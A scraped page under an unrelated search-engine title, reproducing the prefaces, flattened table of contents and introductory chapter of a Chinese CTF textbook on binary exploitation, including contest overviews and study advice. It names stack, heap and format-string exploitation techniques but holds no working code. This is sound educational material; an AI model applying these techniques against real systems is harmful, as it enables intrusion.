指令百度快照在哪

百度快照在哪  时间:2021-04-26  阅读:()
推荐序IV点击京东购买点击当当购买推荐序近年来,在党和国家的高度重视下,网络安全行业发展迅猛,吸引了大批年轻学子和有志青年投身其中.
2015年,"网络空间安全"正式成为"工学"门类下的一级学科,与此同时,不论是在高校、还是企事业单位中,CTF等类型的信息安全竞赛也开始蓬勃发展,通过竞赛涌现出了一大批高手、能手.
但是竞赛中各个模块间的发展程度却参差不齐.
相对而言,Web、Misc等模块发展较快,参与的选手也较多;二进制安全相关模块,如Reverse(逆向)、Mobile(此处指移动安全)等模块的选手相对就少些,而其中的Pwn模块,则参赛选手最少.
究其原因,主要是因为相对其他模块,二进制安全相关模块的学习曲线更陡峭,要求选手对系统的理解更为深入.
市面上安全相关的书籍、教程汗牛充栋,与漏洞主题相关的却屈指可数.
在这些书籍中,由于作者本身都是从事漏洞发掘工作的,所以相关案例多以Windows平台下的各种软件漏洞为主,其他平台为辅.
但Windows平台本身内部实现机制就比较复杂,相关文档不多,且有的软件自身还会有自己私有的内存管理方法(比如微软的Office软件),在开始学习相关技能之前,所需要掌握的相关前置背景知识就够人喝一壶了.
本书另辟蹊径,利用历届的CTF真题,以x86/x64平台下Linux系统中的Pwn样题为例,讲述漏洞利用的基本方法和技巧.
由于Linux系统本身就是一个开源系统,相关文档也比较齐全,因此,在这个平台上容易把问题讲透.
把基本功练扎实了,再去学习其他平台上的漏洞利用技术,必将起到事半而功倍的效果.
此外,当前被广泛使用的Android等操作系统本身就是Linux系统的变种,相关技术也很容易移植到这些系统的漏洞发掘利用中去.
本书的作者是业内后起之秀.
书中所用的例子贴近CTF实战,讲解详尽,思路清晰,非常有助于读者理解和学习.
本书的审校者——吴石老师率领的腾讯eee战队——曾多次斩获国内外高等级竞赛的大奖,相关经验非常丰富.
本书为广大学子和从业人员学习漏洞利用技术知识提供了有益的指导.
相信有志学习者,经过推荐序V认真钻研,必能早日登堂入室,为我国网络安全事业的发展添砖加瓦.
崔孝晨《Python绝技:运用Python成为顶级黑客》、《最强Android书:架构大剖析》译者序VI序时间回到2017年7月.
随着信息安全的发展,CTF竞赛开始引人关注.
这种有趣的竞赛模式非常有助于技术切磋和快速学习.
在西电信安协会(XDSEC)学长的带领下,当时的我已经接触CTF赛题有较长时间了.
由于当时网上还没有比较完善和系统的资料,本着开源精神、自利利他的目的,我在GitHub上创建了一个称为"CTF-All-In-One"的项目,并给了自己第1个star.
此后,这个项目日渐完善,吸引和帮助了不少初学者,到现在已经收获了超过2100个star,在此向所有为技术分享与进步作出贡献的CTF出题人和项目贡献者们致敬!
收到刘皎老师的约稿邀请是在2018年10月,那时我刚上大四.
抱着试试看的心情,我惊喜、惶恐地接受了这项挑战.
接下来就是定目录,交样章,并在2019年1月签订了《约稿合同》.
没想到的是,写作的道路竟如此艰难:每一章、每一节、每一个例子甚至每一个词都要细斟慢酌,生怕误人子弟.
由于学业和工作上的事情较多,最初参与的两个朋友相继离开了,我本人也多次想放弃.
就在这样反反复复的状态下,一直到2020年7月才完成初稿.
经过几轮艰苦的校稿,终于在2020年10月签订了《出版合同》,两年时间就这样一晃过去了.
现在再回头看,本书写作的过程基本就是一个"现学现卖"的过程.
我一边学习新知识,一边不断调整内容框架.
在学习的路上,我曾遇到太多的分岔、踩过无数坑,正因为如此,我尽量把自己的经验写进书里,使读者可以快速获得关键技术、避免踩坑和重复劳动.
所以,与其称它为一本书,倒不如说这是一座经过校对、打磨,并最终以书的形式呈现的知识库.
当然,在此过程中,我也发现写作是一种非常有效的训练方式:很明显,通过梳理知识点和想法,我不仅系统掌握了相关知识,也明确了思路,对从事相关工作大有裨益.
我们将此书命名为《CTF竞赛权威指南(Pwn篇)》,是期待有更多人参与进来,拿出Web篇、Reverse篇、Crypto篇等更好的作品,让这个系列更配得上"权威"二字.
信息安全是一门有趣的学科,我为自己当初的选择高兴,也希望阅读本书的你,同样为自己的选择而激动.
作为一本面向初序VII学者的书,读者中一定有不少中学生.
全国中学生网络安全竞赛每年都在我的母校西安电子科技大学进行,迄今已是第三届,颇具规模.
在此欢迎各位小读者报考母校的网络与信息安全学院,这里真的是一个很棒的地方!
本书的出版,要感谢我的大学室友刘晋,他早期的帮助让这个项目得以成形;感谢腾讯的吴石老师,他的推荐让本项目顺利成书、惠及更多的人;感谢吴石老师和腾讯eee战队的谢天忆、朱梦凡、马会心和刘耕铭四位老师的建议与审校,让本书的内容更上一层楼;感谢学弟槐和koocola,贡献了本书第11章的初稿;感谢湖北警官学院的谈楚瑜和MXYLR,以及其他来自GitHub的朋友的鼓励和支持;感谢电子工业出版社的刘皎老师,她认真细致的工作使本书得以高质量地呈现给读者;感谢我的父母给了我选择和发展的自由,让我在人生道路上没有后顾之忧;感谢那位不愿透露姓名的朋友,遇见你曾是青春最美好的事!
感谢你们!
杨超2020年11月于北京目录VIII目录第1章CTF简介.
11.
1赛事介绍.
11.
1.
1赛事起源.
11.
1.
2竞赛模式.
11.
1.
3竞赛内容.
21.
2知名赛事及会议.
31.
2.
1网络安全竞赛.
31.
2.
2网络安全会议.
51.
2.
3网络安全学术会议.
61.
3学习经验.
61.
3.
1二进制安全入门.
61.
3.
2CTF经验.
81.
3.
3对安全从业者的建议.
8参考资料.
10第2章二进制文件.
112.
1从源代码到可执行文件.
112.
1.
1编译原理.
112.
1.
2GCC编译过程.
122.
1.
3预处理阶段.
132.
1.
4编译阶段.
142.
1.
5汇编阶段.
152.
1.
6链接阶段.
152.
2ELF文件格式.
162.
2.
1ELF文件的类型.
16目录IX2.
2.
2ELF文件的结构.
182.
2.
3可执行文件的装载.
242.
3静态链接.
262.
3.
1地址空间分配.
262.
3.
2静态链接的详细过程.
272.
3.
3静态链接库.
292.
4动态链接.
302.
4.
1什么是动态链接.
302.
4.
2位置无关代码.
312.
4.
3延迟绑定.
32参考资料.
33第3章汇编基础.
343.
1CPU架构与指令集.
343.
1.
1指令集架构.
343.
1.
2CISC与RISC对比.
353.
2x86/x64汇编基础.
363.
2.
1CPU操作模式.
363.
2.
2语法风格.
363.
2.
3寄存器与数据类型.
373.
2.
4数据传送与访问.
383.
2.
5算术运算与逻辑运算.
393.
2.
6跳转指令与循环指令.
403.
2.
7栈与函数调用.
41参考资料.
44第4章Linux安全机制.
454.
1Linux基础.
454.
1.
1常用命令.
454.
1.
2流、管道和重定向.
464.
1.
3根目录结构.
474.
1.
4用户组及文件权限.
474.
1.
5环境变量.
494.
1.
6procfs文件系统.
514.
1.
7字节序.
524.
1.
8调用约定.
534.
1.
9核心转储.
544.
1.
10系统调用.
554.
2StackCanaries.
58目录X4.
2.
1简介.
584.
2.
2实现.
614.
2.
3NJCTF2017:messager.
634.
2.
4sixstarsCTF2018:babystack.
654.
3No-eXecute.
694.
3.
1简介.
694.
3.
2实现.
704.
3.
3示例.
734.
4ASLR和PIE.
754.
4.
1ASLR.
754.
4.
2PIE.
764.
4.
3实现.
774.
4.
4示例.
794.
5FORTIFY_SOURCE.
834.
5.
1简介.
834.
5.
2实现.
844.
5.
3示例.
864.
5.
4安全性.
894.
6RELRO.
904.
6.
1简介.
904.
6.
2示例.
904.
6.
3实现.
93参考资料.
94第5章分析环境搭建.
965.
1虚拟机环境.
965.
1.
1虚拟化与虚拟机管理程序.
965.
1.
2安装虚拟机.
975.
1.
3编译debug版本的glibc.
985.
2Docker环境.
1005.
2.
1容器与Docker.
1005.
2.
2Docker安装及使用.
1015.
2.
3Pwn题目部署.
102参考资料.
103第6章分析工具.
1046.
1IDAPro.
1046.
1.
1简介.
1046.
1.
2基本操作.
105目录XI6.
1.
3远程调试.
1086.
1.
4IDAPython.
1106.
1.
5常用插件.
1146.
2Radare2.
1156.
2.
1简介及安装.
1156.
2.
2框架组成及交互方式.
1156.
2.
3命令行工具.
1186.
2.
4r2命令.
1226.
3GDB.
1256.
3.
1组成架构.
1256.
3.
2工作原理.
1256.
3.
3基本操作.
1276.
3.
4增强工具.
1306.
4其他常用工具.
1326.
4.
1dd.
1336.
4.
2file.
1336.
4.
3ldd.
1346.
4.
4objdump.
1346.
4.
5readelf.
1356.
4.
6socat.
1366.
4.
7strace<race.
1366.
4.
8strip.
1376.
4.
9strings.
1386.
4.
10xxd.
138参考资料.
139第7章漏洞利用开发.
1417.
1shellcode开发.
1417.
1.
1shellcode的基本原理.
1417.
1.
2编写简单的shellcode.
1417.
1.
3shellcode变形.
1437.
2Pwntools.
1457.
2.
1简介及安装.
1457.
2.
2常用模块和函数.
1457.
3zio.
1527.
3.
1简介及安装.
1527.
3.
2使用方法.
153参考资料.
155第8章整数安全.
156目录XII8.
1计算机中的整数.
1568.
2整数安全漏洞.
1578.
2.
1整数溢出.
1578.
2.
2漏洞多发函数.
1588.
2.
3整数溢出示例.
159参考资料.
161第9章格式化字符串.
1629.
1格式化输出函数.
1629.
1.
1变参函数.
1629.
1.
2格式转换.
1629.
2格式化字符串漏洞.
1649.
2.
1基本原理.
1649.
2.
2漏洞利用.
1669.
2.
3fmtstr模块.
1749.
2.
4HITCONCMT2017:pwn200.
1769.
2.
5NJCTF2017:pingme.
178参考资料.
182第10章栈溢出与ROP.
18310.
1栈溢出原理.
18310.
1.
1函数调用栈.
18310.
1.
2危险函数.
18610.
1.
3ret2libc.
18610.
2返回导向编程.
18710.
2.
1ROP简介.
18710.
2.
2ROP的变种.
18910.
2.
3示例.
19110.
3BlindROP.
19210.
3.
1BROP原理.
19210.
3.
2HCTF2016:brop.
19310.
4SROP.
20010.
4.
1SROP原理.
20010.
4.
2pwntoolssrop模块.
20410.
4.
3BackdoorCTF2017:FunSignals.
20410.
5stackpivoting.
20610.
5.
1stackpivoting原理.
20610.
5.
2GreHackCTF2017:beerfighter.
20910.
6ret2dl-resolve.
213目录XIII10.
6.
1ret2dl-resolve原理.
21310.
6.
2XDCTF2015:pwn200.
217参考资料.
222第11章堆利用.
22411.
1glibc堆概述.
22411.
1.
1内存管理与堆.
22411.
1.
2重要概念和结构体.
22611.
1.
3各类bin介绍.
22911.
1.
4chunk相关源码.
23111.
1.
5bin相关源码.
23511.
1.
6malloc_consolidate()函数.
23711.
1.
7malloc()相关源码.
23911.
1.
8free()相关源码.
24811.
2TCache机制.
25111.
2.
1数据结构.
25111.
2.
2使用方法.
25211.
2.
3安全性分析.
25511.
2.
4HITBCTF2018:gundam.
25711.
2.
5BCTF2018:HouseofAtum.
26311.
3fastbin二次释放.
26811.
3.
1fastbindup.
26811.
3.
2fastbindupconsolidate.
27311.
3.
30CTF2017:babyheap.
27511.
4houseofspirit.
28311.
4.
1示例程序.
28411.
4.
2LCTF2016:pwn200.
28711.
5不安全的unlink.
29111.
5.
1unsafeunlink.
29211.
5.
2HITCONCTF2016:SecretHolder.
29511.
5.
3HITCONCTF2016:SleepyHolder.
30311.
6off-by-one.
30711.
6.
1off-by-one.
30711.
6.
2poisonnullbyte.
31011.
6.
3ASISCTF2016:b00ks.
31311.
6.
4PlaidCTF2015:PlaidDB.
32011.
7houseofeinherjar.
32511.
7.
1示例程序.
32511.
7.
2SECCONCTF2016:tinypad.
328目录XIV11.
8overlappingchunks.
33611.
8.
1扩展被释放块.
33611.
8.
2扩展已分配块.
33911.
8.
3hack.
luCTF2015:bookstore.
34211.
8.
40CTF2018:babyheap.
34911.
9houseofforce.
35311.
9.
1示例程序.
35311.
9.
2BCTF2016:bcloud.
35611.
10unsortedbin与largebin攻击.
36311.
10.
1unsortedbinintostack.
36311.
10.
2unsortedbinattack.
36711.
10.
3largebin攻击.
37011.
10.
40CTF2018:heapstorm2.
374参考资料.
381第12章Pwn技巧.
38312.
1one-gadget.
38312.
1.
1寻找one-gadget.
38312.
1.
2ASISCTFQuals2017:Starthard.
38512.
2通用gadget及Return-to-csu.
38812.
2.
1Linux程序的启动过程.
38812.
2.
2Return-to-csu.
39012.
2.
3LCTF2016:pwn100.
39212.
3劫持hook函数.
39512.
3.
1内存分配hook.
39612.
3.
20CTF2017-babyheap.
39712.
4利用DynELF泄露函数地址.
40112.
4.
1DynELF模块.
40112.
4.
2DynELF原理.
40212.
4.
3XDCTF2015:pwn200.
40312.
4.
4其他泄露函数.
40612.
5SSPLeak.
40912.
5.
1SSP.
40912.
5.
2__stack_chk_fail(41112.
5.
332C3CTF2015:readme.
41212.
5.
434C3CTF2017:readme_revenge.
41612.
6利用environ泄露栈地址.
42212.
7利用_IO_FILE结构.
42912.
7.
1FILE结构体.
429目录XV12.
7.
2FSOP.
43112.
7.
3FSOP(libc-2.
24版本)43312.
7.
4HITCONCTF2016:HouseofOrange.
43812.
7.
5HCTF2017:babyprintf.
44512.
8利用vsyscall.
44912.
8.
1vsyscall和vDSO.
44912.
8.
2HITBCTF2017:1000levels.
451参考资料.
456第1章CTF简介XVI第1章CTF简介1.
1赛事介绍1.
1.
1赛事起源CTF(CaptureTheFlag)中文一般译作夺旗赛,原为西方传统运动,即两队人马相互前往敌方的基地夺取旗帜.
这恰如"黑客"在竞赛中的一攻一防,因此在网络安全领域中被用于指代网络安全技术人员之间进行技术竞技的一种比赛形式,其形式与内容体现了浓厚的黑客精神和黑客文化.
CTF起源于1996年DEFCON全球黑客大会,以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式.
发展至今,已经成为全球范围网络安全圈流行的竞赛形式,2013年全球举办了超过五十场国际性CTF赛事.
作为CTF赛制的发源地,DEFCONCTF也成为目前全球技术水平和影响力最高的CTF竞赛,类似于CTF赛事中的"世界杯".
CTF的大致流程是,参赛团队之间通过攻防对抗、程序分析等形式,率先从主办方给出的比赛环境中得到一串具有一定格式的字符串或其他内容,并将其提交给主办方,从而夺得分数.
为了方便称呼,我们把这串内容称为"flag".
近年来,随着网络安全越来越受到国家和大众的关注,CTF比赛的数量与规模也发展迅猛,国内外各类高质量的CTF竞赛层出不穷,CTF已经成为学习、提升信息安全技术,展现安全能力和水平的绝佳平台.
1.
1.
2竞赛模式解题模式(Jeopardy)在解题模式CTF赛制中,参赛队伍可以通过互联网或者现场网络参与.
这种模式的CTF竞赛与ACM编程竞赛、信息学奥赛类似,以解决网络安全技术挑战题目的分值和时间来排名,通常用于在线选拔赛,选手自由组队(人数不受限制).
题目主要包含六个类别:RE逆向工程、Pwn漏洞挖掘与利用、Web渗透、Crypto密码学、Mobile移动安全和Misc安全杂项.
攻防模式(Attack-Defense)在攻防模式CTF赛制中,参赛队伍在网络空间互相进行攻击和防守,通过挖掘网络服务漏洞并第1章CTF简介XVII攻击对手服务来得分,通过修补自身服务漏洞进行防御来避免丢分.
攻防模式通常为线下赛,参赛队伍人数有限制(通常为3到5人不等),可以实时通过得分反映出比赛情况,最终也以得分直接分出胜负.
这是一种竞争激烈、具有很强观赏性和高度透明性的网络安全赛制.
在这种赛制中,不仅仅是比参赛队员的智力和技术,也比体力(因为比赛一般都会持续48小时及以上),同时也比团队之间的分工配合与合作.
混合模式(Mix)结合了解题模式与攻防模式的CTF赛制,主办方会根据比赛的时间、进度等因素来释放需解答的题目,题目的难度越大,解答完成后获取的分数越高.
参赛队伍通过解题获取一些初始分数,然后通过攻防对抗进行得分增减的零和游戏,最终以得分高低分出胜负.
采用混合模式CTF赛制的典型代表如iCTF国际CTF竞赛.
1.
1.
3竞赛内容Reverse逆向工程类题目需要对软件(Windows、Linux平台)的结构、流程、算法等进行逆向破解,要求有较强的反汇编、反编译的功底.
主要考查参赛选手的逆向分析能力.
所需知识:汇编语言、加密与解密、常见反编译工具.
PwnPwn在黑客俚语中代表着攻破,获取权限,由"own"这个词引申而来.
在CTF比赛中它代表着溢出类的题目,常见的类型有整数溢出、栈溢出、堆溢出等.
主要考查参赛选手对漏洞的利用能力.
所需知识:C、OD+IDA、数据结构、操作系统.
WebWeb是CTF的主要题型,涉及许多常见的Web漏洞,如XSS、文件包含、代码执行、上传漏洞、SQL注入等.
也有一些简单的关于网络基础知识的考察,如返回包、TCP/IP、数据包内容和构造.
可以说题目环境比较接近真实环境.
所需知识:PHP、Python、TCP/IP、SQL.
Crypto密码学类题目考察各种加/解密技术,包括古典加密技术、现代加密技术甚至出题者自创加密技术,以及一些常见的编码解码.
主要考查参赛选手密码学相关知识点,通常也会和其他题目相结合.
所需知识:矩阵、数论、密码学.
MobileMobile类题目主要涉及Android和iOS两个主流移动平台,以Android逆向为主,破解APK并提交正确flag.
所需知识:Java、Android开发、常见工具.
Misc第1章CTF简介XVIIIMisc即安全杂项,题目涉及隐写术、流量分析、电子取证、人肉搜索、数据分析、大数据统计等,覆盖面比较广.
主要考查参赛选手的各种基础综合知识.
所需知识:常见隐写术工具、Wireshark等流量审查工具、编码知识.
1.
2知名赛事及会议1.
2.
1网络安全竞赛参与高质量的CTF竞赛不仅能获得乐趣,更能获得技术上的提升.
我们可以在网站CTFtime上获取CTF赛事的信息以及各大CTF战队的排名,如图1-1所示.
一般来说,一些黑客传统赛事,或者知名企业和战队所举办的CTF质量都比较高.
图1-1CTFtime网站下面我们列举几个知名度较高的网络安全赛事.
DEFCONCTF全球最知名、影响力最广,且历史悠久的赛事,是CTF中的世界杯.
其主要特点是题目复杂度高,偏重于真实环境中的漏洞挖掘和利用.
DEFCONCTF分为线上预选赛(Qualifier)和线下决赛(Final),预选赛通常于每年5月开始,排名靠前的战队有机会入围线下决赛;线下决赛通常于每年8月在美国的拉斯维加斯举行.
当然,每年还有持外卡参赛的战队,他第1章CTF简介XIX们往往是其他一些重量级CTF的冠军,如HITCONCTF、SECCONCTF等.
最终会有15~20支战队参加决赛.
线上赛等题目以二进制程序分析和漏洞利用为主,还有少量的Web安全和杂项等题目.
而线下赛采用攻防模式,仍以二进制漏洞利用为主,且难度更高,战况也更加激烈.
2013年清华大学蓝莲花战队(Blue-Lotus)成为国内首支入围DEFCONCTF决赛的战队.
2020年腾讯A*0*E联合战队斩获冠军,刷新中国战队最佳纪录.
Pwn2Own全球奖金最丰厚的著名赛事,由美国五角大楼网络安全服务商、惠普旗下TippingPoint的项目组ZDI(ZeroDayInitiative)主办,谷歌、微软、苹果、Adobe等厂商均对比赛提供支持,以便通过黑客攻击挑战来完善自身产品.
大赛自2007年举办至今,每年3月和11月分别在加拿大温哥华以及日本东京各举办一次.
与CTF竞赛略有不同,Pwn2Own的目标是四大浏览器IE、Chrome、Safari和Firefox的最新版;MobilePwn2Own的目标则是iOS、Android等主流手机的操作系统.
能在Pwn2Own上获奖,象征着其安全研究已经达到世界领先水平.
2016年,腾讯安全Sniper战队凭借总积分38分成为Pwn2Own历史上第一个世界总冠军,并且获得该赛事史上首个MasterofPwn(世界破解大师)称号.
CGC(CyberGrandChallenge)由美国国防部高级研究计划局(DefenseAdvancedResearchProjectsAgency,DARPA)于2013年发起,旨在推进自动化网络攻防技术的发展,即实时识别系统缺陷、漏洞,自动完成打补丁和系统防御,并自动生成攻击程序,最终实现全自动的网络安全攻防系统.
CGC的比赛过程限制人工干预,完全由计算机实现,可以理解为人工智能之间的CTF.
其亮点在于系统的全自动化,主要难度在于如何在无限的状态下尽快找到触发漏洞的输入,以及对发现的漏洞进行自动修复和生成攻击.
2016年由美国卡内基梅隆大学(CMU)研发的自动攻防系统Mayhem获得决赛冠军.
之后,该系统还参加了当年的DEFCONCTF决赛,与人类战队同台竞技,并且阶段性地压制了部分选手.
XCTF联赛由清华大学蓝莲花战队发起组织,网络空间安全人才基金和国家创新与发展战略研究会联合主办,面向高校及科研院所学生、企业技术人员、网络安全技术爱好者等群体,是一项旨在发现和培养网络安全技术人才的竞赛活动.
该竞赛由选拔赛和总决赛组成.
全国大学生信息安全竞赛简称"国赛",由教育部高等学校信息安全专业教学指导委员会主办,目的在于宣传信息安全知识;培养大学生的创新精神、团队合作意识;扩大大学生的科学视野,提高大学生的第1章CTF简介XX创新设计能力、综合设计能力和信息安全意识;促进高等学校信息安全专业课程体系、教学内容和方法的改革;吸引广大大学生踊跃参加课外科技活动,为培养、选拔、推荐优秀信息安全专业人才创造条件.
竞赛时间一般为每年的3月至8月.
竞赛分为技能赛和作品赛两种.
其中,技能赛采取CTF模式,参赛队伍通过在预设的竞赛环境中解决问题来获取flag并取得相应积分.
初赛为在线解题模式,决赛为线下实战模式.
作品赛以信息安全技术与应用设计为主要内容,竞赛范围定为系统安全、应用安全(内容安全)、网络安全、数据安全和安全检测五大类,参赛队自主命题,自主设计.
"强网杯"全国网络安全挑战赛是由中央网信办网络安全协调局指导、信息工程大学主办的、面向高等院校和国内信息安全企业的国家级网络安全赛事.
竞赛分为线上赛、线下赛和精英赛三个阶段,比赛内容主要围绕网络安全和系统安全中的现实问题进行设计.
2018年第二届"强网杯"共计有2622支战队,13250名队员报名参加,覆盖30多个省份,堪称国内网络安全竞赛之最.
HITCONCTF:由中国台湾骇客协会(HIT)在知名黑客会议HITCON同期举办.
0CTF/TCTF:由上海交通大学0ops战队和腾讯eee战队联合举办.
XDCTF/LCTF:由西安电子科技大学信息安全协会(XDSEC)和L-team战队主办.
1.
2.
2网络安全会议下面我们介绍一些知名的网络安全会议.
RSA信息安全界最有影响力的安全盛会之一,1991年由RSA公司发起,一般于每年2月至3月在美国旧金山Moscone中心举办.
每年有众多的信息安全从业者、安全服务商、研究机构和投资者参加.
他们对未来信息安全的发展趋势做出预测,并共同评选出最具创新的公司及产品,因此,该会议也被称为世界网络安全行业的风向标.
每年大会都会选定一个独特的主题,设计一个故事并将其贯穿整个会议.
2019年的主题是"Better",折射出信息安全领域逐渐转向实践以及不断发展提升、越来越好的愿景.
BlackHat国际黑帽大会.
由知名安全专家JeffMoss于1997年创办,最初于每年7月至8月在拉斯维加斯举办.
经过20多年的发展,该会议已经由单次会议转为每年在东京、阿姆斯特丹、拉斯维加斯、华盛顿等地举办的一系列会议,内容包括了培训、报告和展厅等.
第1章CTF简介XXIDEFCON同样由JeffMoss于1993年在拉斯维加斯发起,从最初的小型聚会逐步发展为世界性的安全会议.
其特色是弘扬黑客文化,以及进行DEFCONCTF决赛.
中国互联网安全大会简称ISC(ChinaInternetSecurityConference),从2013年开始,由中国互联网协会、中国网络空间安全协会和360互联网安全中心等共同主办,是亚太地区规格最高、规模最大、最有影响力的安全会议之一.
1.
2.
3网络安全学术会议网络安全领域的最新学术成果一般会发表在顶级会议上,四大顶会如下.
CCS(A):ACMConferenceonComputerandCommunicationsSecurityNDSS(B):NetworkandDistributedSystemSecuritySymposiumOaklandS&P(A):IEEESymposiumonSecurity&PrivacyUSENIX(A):USENIXSecuritySymposium1.
3学习经验1.
3.
1二进制安全入门二进制安全是一个比较偏向于底层的方向,因此对学习者的计算机基础要求较高,如C/C++/Python编程、汇编语言、计算机组成原理、操作系统、编译原理等,可以在MOOC上找到很多国内外著名高校的课程资料,中文课程推荐网易云课堂的大学计算机专业课程体系,英文课程推荐如下.
HarvardCS50IntroductiontoComputerScienceCMU18-447IntroductiontoComputerArchitectureMIT6.
828OperatingSystemEngineeringStanfordCS143Compilers在具备了计算机基础后,二进制安全又可以细分为逆向工程和漏洞挖掘与利用等方向.
学习的目标是掌握各平台上静态反汇编(IDA、Radare2)和动态调试(GDB、x64dbg)工具,能够熟练阅读反汇编代码,理解x86、ARM和MIPS二进制程序,特别要注意程序的结构组成和编译运行的细节.
此阶段,大量动手实践是达到熟练的必经之路.
推荐资料如下.
SecureCodinginCandC++,2ndEditionTheIntel64andIA-32ArchitecturesSoftwareDeveloper'sManualARMCortex-ASeriesProgrammer'sGuide第1章CTF简介XXIISeeMIPSRun,2ndEditionReverseEngineeringforBeginners《程序员的自我修养——链接、装载与库》《加密与解密,第4版》接下来,就可以进入软件漏洞的学习了,从CTF切入是一个很好的思路.
跟随本书的脚步,可以学习到常见漏洞(溢出、UAF、double-free等)的原理、Linux漏洞缓解机制(Stackcanaries、NX、ASLR等)以及针对这些机制的漏洞利用方法(StackSmashing、Shellcoding、ROP等),此阶段还可以通过读write-ups来学习.
在掌握了这些基本知识之后,就可以尝试分析真实环境中的漏洞,或者分析一些恶意样本,推荐资料如下.
RPICSCI-4968ModernBinaryExploitationHacking:TheArtofExploitation,2ndEditionTheShellcoder'sHandbook,2ndEditionPracticalMalwareAnalysis《漏洞战争:软件漏洞分析精要》有了实践的基础之后,可以学习一些程序分析理论,比如数据流分析(工具如Soot)、值集分析(BAP)、可满足性理论(Z3)、动态二进制插桩(DynamoRio、Pin)、符号执行(KLEE、angr)、模糊测试(Peach、AFL)等.
这些技术对于将程序分析和漏洞挖掘自动化非常重要,是学术界和工业界都在研究的热点.
感兴趣的还可以关注一下专注于自动化网络攻防的CGC竞赛.
推荐资料如下.
UTDallasCS-6V81SystemSecurityandBinaryCodeAnalysisAUStaticProgramAnalysisLecturenotes如果是走学术路线的朋友,阅读论文必不可少,一开始可以读综述类的文章,对某个领域的研究情况有全面的了解,然后跟随综述去找对应的论文.
个人比较推荐会议论文,因为通常可以在作者个人主页上找到幻灯片,甚至会议录像视频,对学习理解论文很有帮助.
如果直接读论文则感觉会有些困难,这里推荐上海交通大学"蜚语"安全小组的论文笔记.
坚持读、多思考,相信量变终会产生质变.
为了持续学习和提升,还需要收集和订阅一些安全资讯(FreeBuf、SecWiki、安全客)、漏洞披露(exploit-db、CVE)、技术论坛(看雪论坛、吾爱破解、先知社区)和大牛的技术博客,这一步可以通过RSSFeed来完成.
随着社会媒体的发展,很多安全团队和个人都转战到了Twitter、微博、微信公众号等新媒体上,请果断关注他们(操作技巧:从某个安全研究者开始,遍历其关注列表,然后递归,即可获得大量相关资源),通常可以获得最新的研究成果、漏洞、PoC、会议演讲等信息甚至资源链接等.
最后,我想结合自己以及同学毕业季找工作的经历,简单谈一谈二进制方向的就业问题.
首先,从各种企业的招聘需求来看,安全岗位相比研发、运维和甚至算法都是少之又少的,且集中在互联网行业,少部分是国企和银行.
在安全岗位中,又以Web安全、安全开发和安全管理类居多,而二第1章CTF简介XXIII进制安全由于企业需求并不是很明朗,因此岗位仅仅存在于几个头部的甲方互联网公司(如腾讯、阿里等)的安全实验室,以及部分乙方安全公司(如360、深信服等)中,主要从事安全研究、病毒分析和漏洞分析等工作,相对而言就业面狭窄,门槛也较高.
随着各种漏洞缓解机制的引入和成熟,软件漏洞即使不会减少,也会越来越难以利用,试想有一天漏洞利用的成本大于利润,那么漏洞研究也就走到头了.
所以,如果不是对该方向有强烈的兴趣和死磕一辈子的决心,考虑到投入产出比,还是建议选择Web安全、安全管理等就业前景更好的方向.
好消息是,随着物联网的发展,大量智能设备的出现为二进制安全提供了新的方向,让我们拭目以待.
1.
3.
2CTF经验CTF对于入门者是一种很好的学习方式,通过练习不同类型、不同难度的CTF题,可以循序渐进地学习到安全的基本概念、攻防技术和一些技巧,同时也能获得许多乐趣,并激发出更大的积极性.
其次,由于CTF题目中肯定存在人为设置的漏洞,只需要动手将其找出来即可,这大大降低了真实环境中漏洞是否存在的不确定性,能够增强初学者的信心.
需要注意的是,对于初学者来说,应该更多地将精力放到具有一定通用性和代表性的题目上,仔细研究经典题目及其write-up,这样就很容易举一反三;而技巧性的东西,可以在比赛中慢慢积累.
另外,选择适合自身技术水平的CTF是很重要的,如果跳过基础阶段直接参与难度过大的比赛,可能会导致信心不足、陷入自我怀疑当中.
就CTF战队而言,由于比赛涉及多个方向的技术,比拼的往往是团队的综合实力,因此,在组建战队时要综合考虑,使各个面向都相对均衡.
赛后也可以在团队内做日常的分析总结,拉近感情、提升凝聚力.
随着计算机技术的发展、攻防技术的升级,CTF本身也在不断更新和改进,一些高质量的CTF赛事往往会很及时地跟进,在题目中融入新的东西,建议积极参加这类比赛.
1.
3.
3对安全从业者的建议此部分内容是TK教主在腾讯玄武实验室内部例会上的分享,看完很有感触,经本人同意,特转载于此,以飨读者.
1.
关于个人成长(1)确立个人方向,结合工作内容,找出对应短板该领域主要专家们的工作是否都了解相关网络协议、文件格式是否熟悉相关技术和主要工具是否看过、用过(2)阅读只是学习过程的起点,不能止于阅读工具的每个参数每个菜单都要看、要试第1章CTF简介XXIV学习网络协议要实际抓包分析,学习文件格式要读代码实现学习老漏洞一定要调试,搞懂每一个字节的意义,之后要完全自己重写一个Exploit细节、细节、细节,刨根问底2.
建立学习参考目标(1)短期参考比自己优秀的同龄人.
阅读他们的文章和工作成果,从细节中观察他们的学习方式和工作方式.
(2)中期参考你的方向上的业内专家.
了解他们的成长轨迹,跟踪他们关注的内容.
(3)长期参考业内老牌企业和先锋企业.
把握行业发展、技术趋势,为未来做积累.
3.
推荐的学习方式(1)以工具为线索一个比较省事的学习目录:KaliLinux学习思路,以Metasploit为例:遍历每个子目录,除了Exploit里面还有什么每个工具怎么用原理是什么涉及哪些知识能否改进优化能否发展、组合出新的功能(2)以专家为线索你的技术方向上有哪些专家他们的邮箱、主页、社交网络账号是什么他们在该方向上有哪些作品,发表过哪些演讲跟踪关注,一个一个地学.
4.
如何提高效率做好预研,收集相关前人成果,避免无谓的重复劳动在可行性判断阶段,能找到工具就不写代码,能用脚本语言写就不要用编译语言,把完美主义放在最终实现阶段做好笔记并定期整理,遗忘会让所有的投入都白白浪费多和同事交流,别人说一个工具的名字可能让你节约数小时处理好学习、工作和生活无论怎么提高效率,要成为专家,都需要大量的时间投入参考资料[1]诸葛建伟.
CTF的过去、现在与未来[Z/OL].
[2]教育部高等学校信息安全专业教学指导委员会.
2016年全国大学生信息安全竞赛参赛指南(创新实践能力大赛)[EB/OL].
(2016-05-21).
[3]LiveOverflow.
WhatisCTFAnintroductiontosecurityCaptureTheFlagcompetitions[Z/OL].
第1章CTF简介XXV[4]TrailofBits.
CTFFieldGuide[EB/OL].
[5]百度百科.
ctf(夺旗赛)[EB/OL].
第2章二进制文件XXVI第2章二进制文件2.
1从源代码到可执行文件一个C语言程序的生命是从源文件开始的,这种高级语言的形式更容易被人理解.
然而,要想在操作系统上运行程序,每条C语句都必须被翻译为一系列的低级机器语言指令.
